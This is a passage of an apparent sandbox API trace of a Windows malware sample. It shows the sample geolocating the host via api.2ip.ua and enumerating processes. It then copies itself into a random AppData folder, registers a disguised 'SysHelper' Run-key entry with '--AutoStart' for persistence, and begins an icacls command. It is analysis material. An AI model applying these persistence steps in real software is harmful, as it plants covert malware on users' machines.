0x80 [0049.623] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x110) returned 0x704f48 [0049.624] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x704490) returned 0x80 [0049.624] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x702500 [0049.624] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x704490) returned 0x80 [0049.624] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x704490) returned 0x80 [0049.624] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x704490) returned 0x80 [0049.630] RtlSizeHeap (HeapHandle=0x660000, Flags=0x0, MemoryPointer=0x704490) returned 0x80 [0049.802] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0052.111] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x40) returned 0x6f90c8 [0052.111] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://api.2ip.ua/geo.json", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0083.939] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x18c110, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x18e910 | out: lpBuffer=0x18c110*, lpdwNumberOfBytesRead=0x18e910*=0x1d1) returned 1 [0083.940] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0083.943] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0083.943] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x710a28 [0083.943] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1e0) returned 0x2fab390 [0083.943] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x2fab390 | out: hHeap=0x660000) returned 1 [0083.943] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x710a28 | out: hHeap=0x660000) returned 1 [0083.943] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6f90c8 | out: hHeap=0x660000) returned 1 [0083.943] GetCurrentProcess () returned 0xffffffff [0083.944] GetLastError () returned 0x2 [0083.944] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0083.944] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x10) returned 0x733b40 [0083.944] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x110) returned 0x73b270 [0083.944] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x800) returned 0x734fe8 [0083.944] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x734fe8, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e0a7.tmp.exe")) returned 0x32 [0083.944] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0083.944] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x810) returned 0x2fb89b0 [0083.944] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe\" " [0083.955] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe\" ", pNumArgs=0x18e9f0 | out: pNumArgs=0x18e9f0) returned 0x2fa3a70*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe" [0083.955] lstrcpyW (in: lpString1=0x18f6a0, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe" [0083.956] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe\" " [0083.956] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe\" ", pNumArgs=0x18e98c | out: pNumArgs=0x18e98c) returned 0x2fa3a70*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe" [0083.956] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe") returned="E0A7.tmp.exe" [0083.956] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76c20000 [0083.957] GetProcAddress (hModule=0x76c20000, lpProcName="EnumProcesses") returned 0x0 [0083.957] GetProcAddress (hModule=0x76c20000, lpProcName="EnumProcessModules") returned 0x0 [0083.957] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleBaseNameW") returned 0x0 [0083.957] LoadLibraryW (lpLibFileName="Psapi.dll") returned 0x75140000 [0084.012] GetProcAddress (hModule=0x75140000, lpProcName="EnumProcesses") returned 0x75141544 [0084.013] GetProcAddress (hModule=0x75140000, lpProcName="EnumProcessModules") returned 0x75141408 [0084.013] GetProcAddress (hModule=0x75140000, lpProcName="GetModuleBaseNameW") returned 0x7514152c [0084.013] EnumProcesses (in: lpidProcess=0x184188, cb=0xa000, lpcbNeeded=0x18e998 | out: lpidProcess=0x184188, lpcbNeeded=0x18e998) returned 1 [0084.015] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0084.015] CloseHandle (hObject=0x0) returned 0 [0084.015] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0084.015] CloseHandle (hObject=0x0) returned 0 [0084.015] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104) returned 0x0 [0084.016] CloseHandle (hObject=0x0) returned 0 [0084.016] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x148) returned 0x0 [0084.016] CloseHandle (hObject=0x0) returned 0 [0084.016] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x17c) returned 0x0 [0084.016] CloseHandle (hObject=0x0) returned 0 [0084.016] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x188) returned 0x0 [0084.016] CloseHandle (hObject=0x0) returned 0 [0084.016] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1b0) returned 0x0 [0084.016] CloseHandle (hObject=0x0) returned 0 [0084.016] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1cc) returned 0x0 [0084.016] CloseHandle (hObject=0x0) returned 0 [0084.016] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1d4) returned 0x0 [0084.016] CloseHandle (hObject=0x0) returned 0 [0084.016] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1dc) returned 0x0 [0084.016] CloseHandle (hObject=0x0) returned 0 [0084.016] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x254) returned 0x0 [0084.016] CloseHandle (hObject=0x0) returned 0 [0084.016] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x298) returned 0x0 [0084.016] CloseHandle (hObject=0x0) returned 0 [0084.016] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2cc) returned 0x0 [0084.016] CloseHandle (hObject=0x0) returned 0 [0084.017] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x334) returned 0x0 [0084.017] CloseHandle (hObject=0x0) returned 0 [0084.017] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x36c) returned 0x0 [0084.017] CloseHandle (hObject=0x0) returned 0 [0084.017] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3a8) returned 0x0 [0084.017] CloseHandle (hObject=0x0) returned 0 [0084.017] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3f8) returned 0x0 [0084.017] CloseHandle (hObject=0x0) returned 0 [0084.017] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x124) returned 0x0 [0084.017] CloseHandle (hObject=0x0) returned 0 [0084.017] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x448) returned 0x5b8 [0084.017] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 0 [0084.017] CloseHandle (hObject=0x5b8) returned 1 [0084.017] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x45c) returned 0x5b8 [0084.017] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 0 [0084.017] CloseHandle (hObject=0x5b8) returned 1 [0084.018] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x480) returned 0x0 [0084.018] CloseHandle (hObject=0x0) returned 0 [0084.018] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4ac) returned 0x5b8 [0084.018] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 0 [0084.018] CloseHandle (hObject=0x5b8) returned 1 [0084.018] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4d4) returned 0x0 [0084.018] CloseHandle (hObject=0x0) returned 0 [0084.018] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x50c) returned 0x5b8 [0084.018] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 0 [0084.018] CloseHandle (hObject=0x5b8) returned 1 [0084.018] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5f4) returned 0x0 [0084.018] CloseHandle (hObject=0x0) returned 0 [0084.018] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x440) returned 0x5b8 [0084.018] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0084.019] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x1270000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="hk forest representatives.exe") returned 0x1d [0084.020] CloseHandle (hObject=0x5b8) returned 1 [0084.020] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7d8) returned 0x5b8 [0084.020] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0084.021] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0xb80000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="highway long.exe") returned 0x10 [0084.021] CloseHandle (hObject=0x5b8) returned 1 [0084.021] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x184) returned 0x5b8 [0084.021] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0084.022] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0xc30000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="developing.exe") returned 0xe [0084.023] CloseHandle (hObject=0x5b8) returned 1 [0084.023] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x618) returned 0x5b8 [0084.023] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0084.024] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x10e0000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="dumb.exe") returned 0x8 [0084.024] CloseHandle (hObject=0x5b8) returned 1 [0084.024] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x344) returned 0x5b8 [0084.024] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0084.025] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0xd60000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="rainbowallowingsb.exe") returned 0x15 [0084.025] CloseHandle (hObject=0x5b8) returned 1 [0084.025] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x244) returned 0x5b8 [0084.026] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0084.027] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0xc00000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="cowboy_mh.exe") returned 0xd [0084.027] CloseHandle (hObject=0x5b8) returned 1 [0084.027] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x210) returned 0x5b8 [0084.027] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0084.035] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x13e0000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="poison-hormone-geographical.exe") returned 0x1f [0084.035] CloseHandle (hObject=0x5b8) returned 1 [0084.035] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x734) returned 0x5b8 [0084.035] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0084.036] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x1090000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="crisis seats.exe") returned 0x10 [0084.037] CloseHandle (hObject=0x5b8) returned 1 [0084.037] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7f0) returned 0x5b8 [0084.037] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0084.038] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x210000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="max poker.exe") returned 0xd [0084.038] CloseHandle (hObject=0x5b8) returned 1 [0084.038] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x7a8) returned 0x5b8 [0084.038] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0084.040] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x890000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="amendedbattlefield.exe") returned 0x16 [0084.040] CloseHandle (hObject=0x5b8) returned 1 [0084.040] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x58c) returned 0x5b8 [0084.040] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0084.042] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0xff0000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="z stan.exe") returned 0xa [0084.042] CloseHandle (hObject=0x5b8) returned 1 [0084.042] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x324) returned 0x5b8 [0084.042] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0084.043] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0xb20000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="governance.exe") returned 0xe [0084.043] CloseHandle (hObject=0x5b8) returned 1 [0084.044] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x438) returned 0x5b8 [0084.044] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0084.046] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0xa80000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="booty pas td.exe") returned 0x10 [0084.047] CloseHandle (hObject=0x5b8) returned 1 [0084.047] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x598) returned 0x5b8 [0084.047] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0084.048] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x1180000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="origins-capability-snow.exe") returned 0x1b [0084.048] CloseHandle (hObject=0x5b8) returned 1 [0084.048] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x288) returned 0x5b8 [0084.049] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0084.050] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0xdc0000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="defines.exe") returned 0xb [0084.050] CloseHandle (hObject=0x5b8) returned 1 [0084.051] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x6ec) returned 0x5b8 [0084.051] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0084.052] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x2c0000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="collinstuition.exe") returned 0x12 [0084.052] CloseHandle (hObject=0x5b8) returned 1 [0084.052] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x444) returned 0x5b8 [0084.053] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0084.054] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x9c0000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="beside-denmark.exe") returned 0x12 [0084.054] CloseHandle (hObject=0x5b8) returned 1 [0084.054] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x55c) returned 0x0 [0084.054] CloseHandle (hObject=0x0) returned 0 [0084.054] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8e8) returned 0x5b8 [0084.054] EnumProcessModules (in: hProcess=0x5b8, lphModule=0x18e9a4, cb=0x4, lpcbNeeded=0x18e988 | out: lphModule=0x18e9a4, lpcbNeeded=0x18e988) returned 1 [0084.056] GetModuleBaseNameW (in: hProcess=0x5b8, hModule=0x400000, lpBaseName=0x18e188, nSize=0x400 | out: lpBaseName="E0A7.tmp.exe") returned 0xc [0084.056] CloseHandle (hObject=0x5b8) returned 1 [0084.056] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x994) returned 0x0 [0084.056] CloseHandle (hObject=0x0) returned 0 [0084.056] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9b4) returned 0x0 [0084.056] CloseHandle (hObject=0x0) returned 0 [0084.056] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9d4) returned 0x0 [0084.057] CloseHandle (hObject=0x0) returned 0 [0084.057] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x28) returned 0x70d068 [0084.057] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x2fab390 [0084.057] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x2fba240 [0084.057] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x2fb91c8 [0084.057] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x2fb9430 [0084.057] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x2fb9698 [0084.057] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x2fb9900 [0084.057] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x2fb9b68 [0084.057] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x2fc4df8 [0084.057] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x2fc5060 [0084.057] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25c) returned 0x2fc52c8 [0084.057] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18e988 | out: phkResult=0x18e988*=0x5b8) returned 0x0 [0084.058] RegQueryValueExW (in: hKey=0x5b8, lpValueName="SysHelper", lpReserved=0x0, lpType=0x18e984, lpData=0x18d0b0, lpcbData=0x18e968*=0x400 | out: lpType=0x18e984*=0x0, lpData=0x18d0b0*=0x0, lpcbData=0x18e968*=0x400) returned 0x2 [0084.058] RegCloseKey (hKey=0x5b8) returned 0x0 [0084.058] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0084.058] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0084.058] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe\" " [0084.058] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe\" ", pNumArgs=0x18e94c | out: pNumArgs=0x18e94c) returned 0x2fa3c50*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe" [0084.058] lstrcpyW (in: lpString1=0x18c8b0, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe" [0084.059] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe") returned="E0A7.tmp.exe" [0084.059] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x18e0b0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 0x0 [0084.059] UuidCreate (in: Uuid=0x18e8fc | out: Uuid=0x18e8fc) returned 0x0 [0084.059] UuidToStringW (in: Uuid=0x18e8fc, StringUuid=0x18e990 | out: StringUuid=0x18e990) returned 0x0 [0084.059] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x50) returned 0x2fea8d0 [0084.059] RpcMgmtStatsVectorFree (in: StatsVector=0x18e990 | out: StatsVector=0x18e990) returned 0x0 [0084.059] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local", pMore="2006ca9c-6d4b-419c-b4a6-823d20d370ff" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff") returned 1 [0084.059] CreateDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff"), lpSecurityAttributes=0x0) returned 1 [0084.060] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x2f919a0 [0084.060] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xb0) returned 0x2f91a58 [0084.060] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff", pMore="E0A7.tmp.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe") returned 1 [0084.061] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\e0a7.tmp.exe")) returned 0 [0084.061] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E0A7.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e0a7.tmp.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\e0a7.tmp.exe"), bFailIfExists=0) returned 1 [0084.104] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0xf003f, phkResult=0x18e98c | out: phkResult=0x18e98c*=0x5bc) returned 0x0 [0084.105] lstrcpyW (in: lpString1=0x18d8b0, lpString2="\"" | out: lpString1="\"") returned="\"" [0084.105] lstrcatW (in: lpString1="\"", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe" [0084.105] lstrcatW (in: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe", lpString2="\" --AutoStart" | out: lpString1="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe\" --AutoStart") returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe\" --AutoStart" [0084.105] lstrlenW (lpString="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe\" --AutoStart") returned 107 [0084.105] RegSetValueExW (in: hKey=0x5bc, lpValueName="SysHelper", Reserved=0x0, dwType=0x2, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe\" --AutoStart", cbData=0xd6 | out: lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff\\E0A7.tmp.exe\" --AutoStart") returned 0x0 [0084.105] RegCloseKey (hKey=0x5bc) returned 0x0 [0084.105] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc0) returned 0x2f8a7e0 [0084.105] SetLastError (dwErrCode=0x0) [0084.105] lstrcpyW (in: lpString1=0x18b8b0, lpString2="icacls \"" | out: lpString1="icacls \"") returned="icacls \"" [0084.105] lstrcatW (in: lpString1="icacls \"", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2006ca9c-6d4b-419c-b4a6-823d20d370ff" | out: 